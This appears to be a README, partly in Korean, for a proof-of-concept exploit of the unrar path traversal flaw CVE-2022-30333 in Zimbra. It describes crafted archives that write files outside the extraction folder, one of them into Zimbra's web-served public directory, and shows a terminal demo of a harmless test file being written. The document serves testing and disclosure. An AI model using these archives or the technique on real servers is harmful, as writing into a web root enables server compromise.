
Zimbra에서 사용하는 unrar의 경로 탐색 취약점인 CVE-2022-30333에 대한 개념 증명 악용 코드로, 조작된 RAR 아카이브를 통해 임의 파일 쓰기를 시연합니다.
CVE-2022-30333을 테스트하기 위한 샘플 파일
Sample.rar : Linux에서 테스트하려는 경우. 압축을 풀면 ../../tmp/traversed에 trav가 생성됩니다. Sample.rar을 추출하기 전에 ../../tmp/traversed 디렉토리가 존재하는지 확인하십시오.
exp.rar : Zimbra 메일 서버에서 테스트하려는 경우. 압축을 풀면 */opt/zimbra/jetty_base/webapps/zimbra/public/*에 moo.txt가 생성됩니다. 이 파일은 https://zimbra_mail_domain/public/moo.txt에서 접근할 수 있습니다.
mkdir ../../tmp/traversed (the destination folder must exsist before unrar)
ls -la ../../tmp/traversed/
total 8
drwxrwxr-x 2 ubuntu ubuntu 4096 Jul 4 02:44 .
drwxrwxr-x 4 ubuntu ubuntu 4096 Jul 4 02:40 ..
unrar x exp.rar
UNRAR 6.10 beta 1 freeware Copyright (c) 1993-2021 Alexander Roshal
Corrupt header is found
sym - the file header is corrupt
Extracting from exp.rar
Corrupt header is found
sym - the file header is corrupt
Extracting sym OK
Extracting sym/trav OK
Total errors: 4
ls -la ../../tmp/traversed/
total 12
drwxrwxr-x 2 ubuntu ubuntu 4096 Jul 4 02:47 .
drwxrwxr-x 4 ubuntu ubuntu 4096 Jul 4 02:40 ..
-rw-rw-r-- 1 ubuntu ubuntu 14 Jul 4 02:34 trav
cat ../../tmp/traversed/trav
"traversed"